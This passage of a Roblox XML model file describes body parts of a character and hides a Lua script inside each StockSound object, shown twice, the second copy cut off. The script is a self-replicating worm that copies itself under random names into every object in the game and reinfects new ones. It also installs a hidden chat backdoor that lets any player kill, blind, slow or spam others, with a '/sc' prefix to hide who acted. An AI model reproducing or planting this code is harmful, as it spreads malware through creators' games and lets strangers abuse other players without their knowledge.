					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Left Arm</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>2</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="StockSound" referent="RBX28">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">amne30</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX29">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">xxs008qne</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Part" referent="RBX30">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">12</int>
					<CoordinateFrame name="CFrame">
						<X>0.5</X>
						<Y>3.29890823</Y>
						<Z>107.5</Z>
						<R00>-1</R00>
						<R01>-3.96310834e-021</R01>
						<R02>-3.01117346e-022</R02>
						<R10>-3.96310834e-021</R10>
						<R11>1</R11>
						<R12>5.68789786e-021</R12>
						<R20>3.01117346e-022</R20>
						<R21>5.68789786e-021</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Right Arm</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>2</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="StockSound" referent="RBX31">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">3qd51bp7c</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX32">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">heve</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
